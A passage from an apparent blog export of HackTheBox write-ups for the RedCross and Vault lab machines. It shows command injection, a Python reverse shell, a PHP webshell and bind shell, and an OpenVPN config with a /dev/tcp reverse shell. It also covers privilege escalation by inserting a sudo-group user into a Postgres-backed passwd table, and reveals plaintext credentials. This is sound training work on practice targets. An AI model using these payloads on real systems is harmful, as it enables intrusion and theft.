5 | 1000 | non@available | guest | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi | +----+------+------------------------------+----------+--------------------------------------------------------------+ We then crack the hashes we find above as follows:\n$ john hashes --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8Loaded 5 password hashes with 5 different salts (bcrypt [Blowfish 32/64 X2]) Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status cookiemonster (?) guest (?) alexss (?) Great! We now have the credentials charles:cookiemonster and Penelope:alexss.\nI can now login to the https://intra.redcross.htb/ website with either of these credentials, but I do not find much of interest. After a while of aimless wandering, I decided to actually read the messages the users of the application were sending to each other. Logging in as Charles, I see very interesting messages between different users!\nThe admin, Charles and Penelope seem to be discussing pop-ups on an admin webpanel. This likely refers to our XSS vulnerability we found earlier, and many exploits using the alert() function to create pop-ups.\nMaybe these discussions are hinting that we also have to access the admin webpanel where we can see the messages sent in the original Contact form.\nHere, I could have used a subdomain brute forcing tool with a wordlist to find subdomains, but I ended up just guessing the first thing that popped into my head and it worked: I was able to access a new website at https://admin.redcross.htb!\nInteresting! We now have another login page!\nUnfortunately, trying Penelope\u0026rsquo;s or Charles\u0026rsquo; credentials on this login page did not work, and returned the error: Not enough privileges. Additionally, we were unable to crack the admin user\u0026rsquo;s hash from the database. However, I remembered that we received the admin user\u0026rsquo;s PHPSESSID only because they had viewed our XSS payload from the admin panel. So, we set the PHPSESSID cookie again to the same value as the one we used for the intra website, and are greeted with the the actual admin panel!\nGetting a shell # Now that we are logged in to the admin panel, we look around at what functionality we have. The first link is for user management, where we can seemingly add users to the host hosting the web server. The second link is for managing firewall rules on the host.\nTesting out the \u0026ldquo;add a user\u0026rdquo; functionality, we create a test user, and are provided with a password of BQD0xwJS. Likely, this is a randomly generated password. However, where can we use these credentials? Knowing that we already have administrative logins on both the intra and admin subdomains, our next option would be to test out whether these credentials work when logging in with SSH:\n$ ssh test@intra.redcross.htb $ id uid=2024 gid=1001(associates) groups=1001(associates) $ pwd /home/public/src $ ls -al total 12 drwxr-xr-x 2 root root 4096 Jun 10 21:35 . drwxrwxr-x 3 root associates 4096 Jun 8 11:11 .. -rw-r--r-- 1 penelope 1000 2666 Jun 10 22:39 iptctl.c We successfully login as our test user! However, we find that we do not have permissions to do much at all on the server. We seem to be in some kind of restricted shell. We don\u0026rsquo;t find many useful things using this shell, although, we are able to read a world readable file named ipctl.c in the /home/public/src folder. Looking inside this file, we see code that looks like it is used for adding and deleting iptables rules:\n$ cat iptctl.c /* Small utility to manage iptables, easily executable from admin.redcross.htb v0.1 - allow and restrict mode v0.3 - added check method and interactive mode (still testing!) */ int isValidAction(char *action) { int a=0; char value[10]; strncpy(value,action,9); if(strstr(value,\u0026#34;allow\u0026#34;)) a=1; if(strstr(value,\u0026#34;restrict\u0026#34;)) a=2; if(strstr(value,\u0026#34;show\u0026#34;)) a=3; return a; } void cmdAR(char **a, char *action, char *ip){ a[0]=\u0026#34;/sbin/iptables\u0026#34;; a[1]=action; a[2]=\u0026#34;INPUT\u0026#34;; a[3]=\u0026#34;-p\u0026#34;; a[4]=\u0026#34;all\u0026#34;; a[5]=\u0026#34;-s\u0026#34;; a[6]=ip; a[7]=\u0026#34;-j\u0026#34;; a[8]=\u0026#34;ACCEPT\u0026#34;; a[9]=NULL; return; } \u0026lt;-------SNIP-------\u0026gt; puts(\u0026#34;DEBUG: All checks passed... Executing iptables\u0026#34;); if(isAction==1) cmdAR(args,\u0026#34;-A\u0026#34;,inputAddress); if(isAction==2) cmdAR(args,\u0026#34;-D\u0026#34;,inputAddress); if(isAction==3) cmdShow(args); child_pid=fork(); if(child_pid==0) { setuid(0); execvp(args[0],args); // /sbin/tables is the file, and args are the args exit(0); } else { if(isAction==1) printf(\u0026#34;Network access granted to %s\\n\u0026#34;,inputAddress); if(isAction==2) printf(\u0026#34;Network access restricted to %s\\n\u0026#34;,inputAddress); if(isAction==3) puts(\u0026#34;ERR: Function not available!\\n\u0026#34;); } } This looks interesting! Maybe this source code is for network management functionality provided in the admin panel! Testing out the functionality provided to us on the firewall management page on admin.redcross.htb, we see the following request being sent to the server when adding a new IP:\nPOST /pages/actions.php HTTP/1.1 Host: admin.redcross.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://admin.redcross.htb/?page=firewall Content-Type: application/x-www-form-urlencoded Content-Length: 26 Cookie: PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5 Connection: close Upgrade-Insecure-Requests: 1 ip=8.8.8.8\u0026amp;action=Allow+IP The possible vulnerabilities I could think of here would either be a buffer overflow due to the uses of strcpy in the C script, or an OS command injection vulnerability due to the arguments being passed into the execvp function.\nAfter some trial and error, I was able to get OS command injection working with the ip parameter and using an action of deny:\nPOST /pages/actions.php HTTP/1.1 Host: admin.redcross.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://admin.redcross.htb/?page=firewall Cookie: PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 42 ip=10.10.10.10+%26%26+ls\u0026amp;id=27\u0026amp;action=deny In the above OS command injection, we use \u0026amp;\u0026amp; to execute another command after /sbin/iptables.\nNow that we have OS command injection, we can try escalate to a proper reverse shell. The following is code for a python reverse shell where our attacker IP is 10.10.14.227:\n$ python -c \u0026#39;importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;10.10.14.227\u0026#34;,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\u0026#34;/bin/bash\u0026#34;,\u0026#34;-i\u0026#34;]);\u0026#39; HTML encoding the above and sending it in the POST request gave us a reverse shell:\nip=10.10.10.10+%26%26+python+-c+\u0026#39;import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\u0026#34;10.10.14.227\u0026#34;,1234))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\u0026#34;/bin/bash\u0026#34;,\u0026#34;-i\u0026#34;])%3b\u0026#39;\u0026amp;id=27\u0026amp;action=deny $ nc -nvlp 1234 listening on [any] 1234 ... connect to [10.10.14.227] from (UNKNOWN) [10.10.10.113] 55922 bash: cannot set terminal process group (787): Inappropriate ioctl for device bash: no job control in this shell www-data@redcross:/var/www/html/admin/pages$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) Woot! This time we have a non-restricted shell. Looking for the user flag, I find /home/penelope/user.txt exists, however I cannot open the file as it is owned by penelope and not world readable.\nPrivilege Escalation # Looking at other interesting files, I see a lot of passwords in the PHP files used for the admin panel:\nwww-data@redcross:/var/www/html/admin/pages$ grep password * -Hn actions.php:32:\t$sql=$mysqli-\u0026gt;prepare(\u0026#34;SELECT id, password, mail, role FROM users WHERE username = ?\u0026#34;); actions.php:44:\tif(password_verify($pass,$hash) and $role==0){ actions.php:66:\t} else if(password_verify($pass,$hash)){ actions.php:95:\t$dbconn = pg_connect(\u0026#34;host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa\u0026amp;\u0026#34;); actions.php:118:\t$dbconn = pg_connect(\u0026#34;host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B\u0026amp;\u0026#34;); login.php:7:echo \u0026#34;Password\u0026#34;; users.php:7:\t$dbconn = pg_connect(\u0026#34;host=127.0.0.1 dbname=unix user=unixnss password=fios@ew023xnw\u0026#34;); It looks like the admin panel uses a postgres database running on localhost. There is a database with the name redcross, and another named unix. We also now have the credentials www:aXwrtUO9_aa\u0026amp;, unixusrmgr:dheu%7wjx8B\u0026amp; and unixnss:fios@ew023xnw.\nThe database name of unix and the username of unixusrmgr look really odd. Thinking about this a little bit, we also remember that we were able to add unix users directly from the admin panel, which we were then able to use to SSH onto the host. Could these unix users be added using a table in a postgres database?\nA little bit of googling told me that this was absolutely possible: http://www.karoltomala.com/blog/?p=869\nWolverine\u0026rsquo;s blog tells us that this can be achieved with a postgres plugin named libnss-pgsql2. Additionally, it mentions that this plugin uses two main configuration files: /etc/nss-pgsql.conf and /etc/nss-pgsql-root.conf. Looking for these files, we find that they do exist on our host!\nwww-data@redcross:/etc$ ls -al nss-* -rw-rw---- 1 root root 540 Jun 8 2018 nss-pgsql-root.conf -rw-r--r-- 1 root root 1341 Jun 8 2018 nss-pgsql.conf This pretty much confirms the use of the libnss-pgsql2 plugin for managing unix users! Let\u0026rsquo;s try looking inside the unix database and see what we can find. We can use the psql client to talk with postgres. Additionally, from the nss-pgsql.conf file and Wolverine\u0026rsquo;s blog, we note that there is a table in the database named passwd_table:\nwww-data@redcross:/etc$ psql -h 127.0.0.1 -U unixusrmgr -d unix Password for user unixusrmgr: dheu%7wjx8B\u0026amp; SELECT * FROM passwd_table; username | passwd | uid | gid | gecos | homedir | shell -----------------------------+------------------------------------+------+------+-------+----------------+----------- tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash test | $1$SQgibi6P$.J1YanvF28BzE1LrO1LIY. | 2021 | 1001 | | /var/jail/home | /bin/bash (2 rows) Interesting! We see our test user exists in this table, and that it has a homedir of /var/jail/home.\nWith the permissions of unixusrmgr, let\u0026rsquo;s see if I can add a user to this table and give them a uid or gid of 0:\nINSERT INTO passwd_table VALUES (\u0026#39;dev\u0026#39;, \u0026#39;$1$xyz$cEUv8aN9ehjhMXG/kSFnM1\u0026#39;, 2023, 0, \u0026#39;\u0026#39;, \u0026#39;/\u0026#39;, \u0026#39;/bin/bash\u0026#39;); ERROR: permission denied for relation passwd_table Unfortunately I could not specify the uid of the user I added, but after looking through actions.php, I found that, as unixusrmgr, I did have permissions to fill in the username, passwd, gid and homedir fields. The easiest way I could think of to use this to get root was to simply set the gid of my new user to the ID of the sudo group, which would give me the permissions to sudo to root.\nWe find the ID of the sudo group as follows:\nwww-data@redcross:/$ cat /etc/group | grep sudo sudo:x:27: Next, we can run the following query (after logging in to psql as unixusrmgr) to add a user with the gid of 27:\ninsert into passwd_table (username, passwd, gid, homedir) values (\u0026#39;dev\u0026#39;, \u0026#39;$1$xyz$cEUv8aN9ehjhMXG/kSFnM1\u0026#39;, 27, \u0026#39;/\u0026#39;); INSERT 0 1 Success! Note that I generated the passwd hash of the user using openssl passwd -1 -salt xyz password. Therefore, the above crypt hash is for the password of password. Now I can try SSH in as my new user:\n$ ssh dev@intra.redcross.htb dev@intra.redcross.htb\u0026#39;s password: Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 dev@redcross:/$ id uid=2032(dev) gid=27(sudo) groups=27(sudo) Great! Looks like our user was successfully added and we are in the sudo group! Now we simply sudo su, enter the password of password, and get root.txt:\ndev@redcross:/$ sudo su We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for dev: root@redcross:/# id uid=0(root) gid=0(root) groups=0(root) root@redcross:/# cat ~/root.txt 892a1f4************************* DONE! What an interesting route to root!\nExtra Notes # Looking around with our www-data shell, we also see a folder named haraka in penelope\u0026rsquo;s home directory which stands out. Searching for processes with this name we find:\nwww-data@redcross:/var/www/html/admin/pages$ ps aux | grep haraka penelope 1306 0.2 4.4 994300 45060 ? Ssl 10:54 0:01 node /usr/bin/haraka -c /home/penelope/haraka www-data 5395 0.0 0.0 11112 916 ? S 11:04 0:00 grep haraka We note that the haraka process runs as the user penelope, so if we compromised the process, we would get the privileges of penelope. Doing a little googling, I found out that haraka is actually a webmail / SMTP server. To confirm it\u0026rsquo;s listening, we can try look at open ports on the host. Unfortunately, the host did not have netstat, but as it is debian, we have an alternative called ss:\nwww-data@redcross:/var/www/html/admin/pages$ netstat -ntlp bash: netstat: command not found www-data@redcross:/var/www/html/admin/pages$ ss -ntlp State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 32 :21 : LISTEN 0 128 :22 : LISTEN 0 128 :5432 : LISTEN 0 80 127.0.0.1:3306 : LISTEN 0 128 :::80 ::: LISTEN 0 128 :::22 ::: LISTEN 0 128 :::5432 ::: LISTEN 0 128 :::443 :::* LISTEN 0 128 :::1025 :::* Interestingly, we don\u0026rsquo;t see any server running on port 25, which is the default for Haraka and SMTP based services, but we do see that something is listening on port 1025. We telnet to this port to check it out:\nwww-data@redcross:/var/www/html/admin/pages$ telnet 127.0.0.1 1025 telnet 127.0.0.1 1025 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is \u0026#39;^]\u0026#39;. 220 redcross ESMTP Haraka 2.8.8 ready Great! Looks like Haraka version 2.8.8 is running on this port!\nWe also find an exploit for this version using searchsploit:\n$ searchsploit haraka 2.8. ---------------------------------------------------------------------------------- Exploit Title | Path| (/usr/share/exploitdb/) ---------------------------------------------------------------------------------- Haraka \u0026lt; 2.8.9 - Remote Command Execution | exploits/linux/remote/41162.py ---------------------------------------------------------------------------------- The 41162.py file is a python script which takes in parameters for the mail server you are exploiting and the command you want to execute. It should be noted that the port of the server is specified in the script itself, so we need to change it from 25 to 1025. Then, we can use a simple python reverse shell with this exploit to get a shell as penelope. Simply download rev.py and haraka-exploit.py onto the host and execute the following:\nwww-data@redcross:/var/www/html/admin/pages$ python haraka-exploit.py -c \u0026#34;python /tmp/rev.py\u0026#34; -t penelope@redcross.htb -m 127.0.0.1 And that\u0026rsquo;s how we can get a shell as penelope!\nMoving on: let\u0026rsquo;s say we have a scenario where we cannot add ourselves to the sudo group, but can add ourselves to the root group. Here, an interesting scenario arises. Being in the root group means that we can read the secret /etc/nss-pgsql-root.conf file!\ndev@redcross:/etc$ cat nss-pgsql-root.conf shadowconnectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnssroot password=30jdsklj4d_3 connect_timeout=1 shadowbyname = SELECT username, passwd, date_part(\u0026#39;day\u0026#39;,lastchange - \u0026#39;01/01/1970\u0026#39;), min, max, warn, inact, expire, flag FROM shadow_table WHERE username = $1 ORDER BY lastchange DESC LIMIT 1; shadow = SELECT username, passwd, date_part(\u0026#39;day\u0026#39;,lastchange - \u0026#39;01/01/1970\u0026#39;), min, max, warn, inact, expire, flag FROM shadow_table WHERE (username,lastchange) IN (SELECT username, MAX(lastchange) FROM shadow_table GROUP BY username); And now we have the root NSS credentials unixnssroot:30jdsklj4d_3! With this, we should be able to edit the uid field in the database too, however I\u0026rsquo;m not sure what happens when I add another user with the same uid as root. Thoughts will be had\u0026hellip;\nFinally, I noticed the following python script in root\u0026rsquo;s folder which was the script that actually opened a browser and executed the XSS payloads we send to the admin panel:\nroot@redcross:~/bin$ cat redcrxss.py #!/usr/bin/python2.7 \u0026lt;-----snip-----\u0026gt; url=\u0026#34;https://admin.redcross.htb/9a7d3e2c3ffb452b2e40784f77723938/573ba8e9bfd0abd3d69d8395db582a9e.php?\u0026#34; def launchXSS(xss): randomname = \u0026#39;\u0026#39;.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(8)) temppath = \u0026#34;/root/bin/tmp/\u0026#34; fn = temppath+randomname+\u0026#39;.js\u0026#39; phantom = \u0026#34;/usr/local/bin/phantomjs\u0026#34; \u0026lt;-----snip-----\u0026gt; The script uses phantomjs to execute a headless browser which executes JavaScript.\nThanks to @ompamo for this awesome box!\nHope you enjoyed the write-up!\nLive and Learn!\n","date":"20 February 2023","externalUrl":null,"permalink":"/posts/hack-the-box-redcross/","section":"Posts","summary":"My write-up for the HackTheBox box named RedCross","title":"HackTheBox Write-up: RedCross","type":"posts"},{"content":"This is my write-up for the HackTheBox Machine named Vault. I have to give a large thanks to the creators of the machine who have put a lot of effort into it, and allowed me and many others to learn a tremendous amount.\nLet\u0026rsquo;s get straight into it!\nEnumeration # A quick top 10000 TCP port scan reveals that ports 22 and 80 are open, so we do a version scan on them:\n$ nmap 10.10.10.109 -sV -p22,80 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-12 14:06 AEDT Nmap scan report for 10.10.10.109 Host is up (0.41s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Visiting the website on port 80, we are greeted with a static page with generic information on it. Trying gobuster to brute force sub-pages as follows unfortunately returns no useful results:\n$ gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt I was a bit stuck at where to get started, but then decided to look at the message on the main page as a hint. The message included custom words, which may help us find a custom path on the website. So, let\u0026rsquo;s try get a list of all words on the page and see if we can gobust anything useful with those terms:\n$ cewl \u0026#34;http://10.10.10.109\u0026#34; | tr \u0026#34;[:upper:]\u0026#34; \u0026#34;[:lower:]\u0026#34; \u0026gt; cewl-vault.txt $ gobuster -u \u0026#34;http://10.10.10.109 -w cewl-vault.txt\u0026#34; ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/ [+] Threads : 10 [+] Wordlist : cewl-vault.txt [+] Status codes : 200,204,301,302,307,403 [+] Timeout : 10s ===================================================== 2019/04/07 13:20:46 Starting gobuster ===================================================== /sparklays (Status: 301) ===================================================== 2019/04/07 13:20:49 Finished ===================================================== Note that we converted all our results from cewl to lowercase before passing the results into gobuster.\nNow we have the next step! We visit http://10.10.10.109/sparklays and are forwarded to /sparklays/ and then greeted with a Forbidden error!\nSo let\u0026rsquo;s keep looking deeper into the sparklays folder:\n$ gobuster -u http://10.10.10.109/sparklays/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /design (Status: 301) Visiting http://10.10.10.109/sparklays/design forwards us to /sparklays/design/ and then also shows a Forbidden error. Let\u0026rsquo;s try to continue going deeper!\n$ gobuster -u http://10.10.10.109/sparklays/design/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /uploads (Status: 301) Same Forbidden error again! This time we have the URL of http://10.10.10.109/sparklays/design/uploads/.\nUnfortunately, running gobuster again on this URL returns no useful results. Now we have another seemingly dead end. However, as we know these folders exist on the server, they must have something else inside them\u0026hellip;.right?\nLet\u0026rsquo;s try gobuster with a few different file formats, like php,jsp,asp,aspx,do,html, which are commonly found on web servers:\n$ gobuster -u http://10.10.10.109/sparklays/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,jsp,asp,aspx,do,html /login.php (Status: 200) /admin.php (Status: 200) /design (Status: 301) Great! Looks like we have a PHP server under /sparklays/!\nAt http://10.10.10.109/sparklays/login.php we see a message saying access denied, and at http://10.10.10.109/sparklays/admin.php we see a login page asking for a username and a password. At first thoughts, we could try some SQL injection or try to guess usernames and passwords, but first, let\u0026rsquo;s keep looking for more PHP and HTML files under the other folders:\n$ gobuster -u http://10.10.10.109/sparklays/design/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html /uploads (Status: 301) /design.html (Status: 200) We have a new page! Let\u0026rsquo;s check out design.html. Running curl http://10.10.10.109/sparklays/design/design.html gives us:\n\u0026lt;h1\u0026gt; Design Settings \u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt; \u0026lt;a href=\u0026#34;changelogo.php\u0026#34;\u0026gt;Change Logo\u0026lt;/a\u0026gt; Going to the link pointed to in the HREF leads us to a new page, where see an upload form! I wonder if this is related to the other gobuster finding of /uploads/\u0026hellip;\nGaining an initial foothold # Knowing this is a PHP server, we copy /usr/share/webshells/php/simple-backdoor.php to our working directory and try to upload it using the form above. Unfortunately, the server returns the response: sorry that file type is not allowed.\nLooks like there is a filter that doesn\u0026rsquo;t allow certain file types! As this sounds like a denylisting approach rather than a allowlisting approach, we may be able to bypass the upload filter.\nHere is a good guide on different techniques to bypass file upload restrictions: https://pentestlab.blog/2012/11/29/bypassing-file-upload-restrictions/\nFor us, we could try uploading an image with PHP code, or a file with two extensions, use a null character, or try other extensions like php5 and php3.\nSkipping the trial and error, we find that we can bypass the upload filter using .php5 extension! The following is the POST request on the upload form with our simple-backdoor file being sent with a .php5 extension:\nPOST /sparklays/design/changelogo.php HTTP/1.1 Host: 10.10.10.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.109/sparklays/design/changelogo.php Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------15883744739994925651308469802 Content-Length: 534 -----------------------------15883744739994925651308469802 Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;simple-backdoor.php5\u0026#34; Content-Type: application/x-php \u0026lt;?php if(isset($_REQUEST[\u0026#39;cmd\u0026#39;])){echo \u0026#34;\u0026lt;pre\u0026gt;\u0026#34;;$cmd = ($_REQUEST[\u0026#39;cmd\u0026#39;]);system($cmd);echo \u0026#34;\u0026lt;/pre\u0026gt;\u0026#34;;die;} ?\u0026gt; Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -----------------------------15883744739994925651308469802 Content-Disposition: form-data; name=\u0026#34;submit\u0026#34; upload file -----------------------------15883744739994925651308469802-- Once this request is sent, the server then returns a message saying The file was uploaded successfully!\nTaking a guess at the folder named uploads, we find our PHP webshell uploaded to the server at the following URL: http://10.10.10.109/sparklays/design/uploads/simple-backdoor.php5. Additionally, we can execute commands through this web shell like this: curl http://10.10.10.109/sparklays/design/uploads/simple-backdoor.php5?cmd=whoami, which returns:\nwww-data Unfortunately I didn\u0026rsquo;t have much luck with gaining a reverse shell through this webshell, however I then decided to try a bind shell. The following is a one-liner bind shell in PHP that will open a socket on port 2222 on the compromised host:\n$ php -r \u0026#39;$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\u0026#34;0.0.0.0\u0026#34;,2222);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\u0026#34;$ \u0026#34;,2))exit;$in=socket_read($cl,100);$cmd=popen(\u0026#34;$in\u0026#34;,\u0026#34;r\u0026#34;);while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}\u0026#39; We can use the above bind shell payload through our webshell to gain a nicer shell:\nhttp://10.10.10.109/sparklays/design/uploads/simple-backdoor.php5?cmd=php -r \u0026#39;$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\u0026#34;0.0.0.0\u0026#34;,2222);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\u0026#34;$ \u0026#34;,2))exit;$in=socket_read($cl,100);$cmd=popen(\u0026#34;$in\u0026#34;,\u0026#34;r\u0026#34;);while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}\u0026#39; Then, connecting to port 2222 on Vault gives us access as www-data:\n$ nc 10.10.10.109 2222 $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) Looking through the /home folders on the server, we find users named alex and dave, and we find some interesting files on Dave\u0026rsquo;s Desktop:\n$ ls -al /home/dave/Desktop total 20 drwxr-xr-x 2 dave dave 4096 Nov 12 04:09 . drwxr-xr-x 18 dave dave 4096 Sep 3 08:34 .. -rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers -rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key -rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh $ cat /home/dave/Desktop/* DNS + Configurator - 192.168.122.4 Firewall - 192.168.122.5 The Vault - x itscominghome dave Dav3therav3123 Lateral Movement via OVPN # Unfortunately it doesn\u0026rsquo;t look like user.txt is on this host, but we have some hints for where to go next. From the Servers file, we find two other targets at 192.168.122.4 and 192.168.122.5, and from the ssh file, we have what looks like dave\u0026rsquo;s password: Dav3therav3123.\nSo, let\u0026rsquo;s try pivot through our compromised host and see if we can hit the above two IP addresses. We first setup a SSH dynamic port forward using the -D flag, and provide the password that we found in the ssh file for dave. We then setup proxychains to use 127.0.0.1:8081 as a socks proxy, and nmap scan the /24 subnet as follows:\n$ ssh -D 8081 dave@10.10.10.109 $ proxychains nmap 192.168.122.0/24 Alternatively, I also found that I could use python on the host, so I tried the port scanner from here after SSH\u0026rsquo;ing as dave:\ndave@ubuntu:~$ python3 scan.py Enter host IP: 192.168.122.4 How many seconds the socket is going to wait until timeout: 1 22: Listening 80: Listening dave@ubuntu:~$ python3 scan.py Enter host IP: 192.168.122.5 How many seconds the socket is going to wait until timeout: 1 It looks like we cannot see any open ports on 192.168.122.5, however we have found two ports open on 192.168.122.4.\nSo, to visit the web server on 192.168.122.4, we point our browser\u0026rsquo;s SOCKS proxy settings to our SSH tunnel on 127.0.0.1:8081 and then visit http://192.168.122.4/\nThe first link to http://192.168.122.4/dns-config.php leads us to a File Not Found error, and the second link leads us to the following page where it seems like we can enter a VPN config to test!\nClicking the Test VPN link returns the message: executed succesfully!\nSo, it looks like we can enter a VPN config and have it executed on the server!\nBefore I get to how I exploited this, I also looked for whether the VPN file that we update can be retrieved from the web server. Unfortunately, gobuster didn\u0026rsquo;t work well with a SOCKS proxy, but I was able to use wfuzz to look for files with the extension of vpn or ovpn as follows:\n$ wfuzz -p 127.0.0.1:8081:SOCKS4 -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,vpn-ovpn --hc 404 http://192.168.122.4/FUZZ.FUZ2Z ******************************************************** * Wfuzz 2.3.4 - The Web Fuzzer * ******************************************************** Target: http://192.168.122.4/FUZZ.FUZ2Z Total requests: 441120 ================================================================== ID Response Lines Word Chars Payload ================================================================== 001630: C=200 4 L\t15 W\t122 Ch\t\u0026#34;123 - ovpn\u0026#34; Turns out we can fetch the OVPN config file from http://192.168.122.4/123.ovpn!\nWe test this by submitting the form on /vpnconfig.php and find that what we submit in the text field gets updated in the 123.ovpn file!\nAwesome, now we can move to finding a way to get code execution through this ovpn file. Looking through the OpenVPN man page we find that there is a parameter that can be used to pass in a command we want to execute once the VPN has been established.\nWe may have to setup a VPN server on our compromised host (named ubuntu) so that the connection is successful, but let\u0026rsquo;s try uploading a test config to give us a reverse shell:\nremote 192.168.122.1 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up \u0026#34;/bin/bash -c \u0026#39;/bin/bash -i \u0026gt; /dev/tcp/192.168.122.1/61234 0\u0026lt;\u0026amp;1 2\u0026gt;\u0026amp;1\u0026amp;\u0026#39;\u0026#34; nobind The above OVPN config says to connect to the VPN server at 192.168.122.1 (the IP of ubuntu) and if the connection is successful, execute a bash reverse shell to port 61234 also on 192.168.122.1.\nWe submit the above config through /vpnconfig.php and start a nc listener on ubuntu:\ndave@ubuntu:~$ nc -nvlp 61234 Listening on [0.0.0.0] (family 0, port 61234) Connection from [192.168.122.4] port 61234 [tcp/] accepted (family 2, sport 58498) bash: cannot set terminal process group (1072): Inappropriate ioctl for device bash: no job control in this shell root@DNS:/var/www/html# id uid=0(root) gid=0(root) groups=0(root) Surprisingly, we get a reverse shell almost straight away after clicking Test config! I\u0026rsquo;m not exactly sure whether there is a VPN server running on ubuntu and couldn\u0026rsquo;t find one using netstat or ps aux, but I have a reverse shell anyway! This time the host\u0026rsquo;s name is DNS and we are running as root.\nLooking around for more interesting files, we find DNS\u0026rsquo;s password on the user\u0026rsquo;s desktop, and we also retrieve user.txt from dave\u0026rsquo;s home folder:\nroot@DNS:/var/www/DNS/desktop# ls -al total 12 drwxrwxr-x 2 root root 4096 Jul 17 10:34 . drwxrwxr-x 3 root root 4096 Jul 17 12:46 .. -rw-rw-r-- 1 root root 19 Jul 17 10:34 ssh -rw-rw-r-- 1 root root 0 Jul 17 10:34 user.txt root@DNS:/var/www/DNS/desktop# cat * dave dav3gerous567 root@DNS:/# cat /home/dave/user.txt a4947fa************************* And finally, we have user!\nPrivilege Escalation # Let\u0026rsquo;s move on to privesc!\nWe find another interesting file named interfaces in DNS\u0026rsquo;s main folder:\nroot@DNS:/var/www/DNS# cat interfaces auto ens3 iface ens3 inet static address 192.168.122.4 netmask 255.255.255.0 up route add -net 192.168.5.0 netmask 255.255.255.0 gw 192.168.122.5 up route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.28 In this file, we see routes to two networks added with two separate gateways. One of these gateways being the firewall we\u0026rsquo;ve heard of earlier, at 192.168.122.5. We haven\u0026rsquo;t seen any 192.168.1.0/24 or 192.168.5.0/24 addresses before, but it is likely we have to compromise something in one of these networks next.\nInterestingly, we also find /usr/bin/nmap available to us on the DNS server, so we can use it directly from this host to try and find the host we have to target next. After a lot of scanning, I wasn\u0026rsquo;t finding anything interesting. I then decided to look at logs on the DNS server, and finally found something interesting:\nroot@DNS:/home/dave# grep -ra \u0026#34;192.168.5\u0026#34; /var/log . 2\u0026gt;/dev/null /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1536]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1566]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 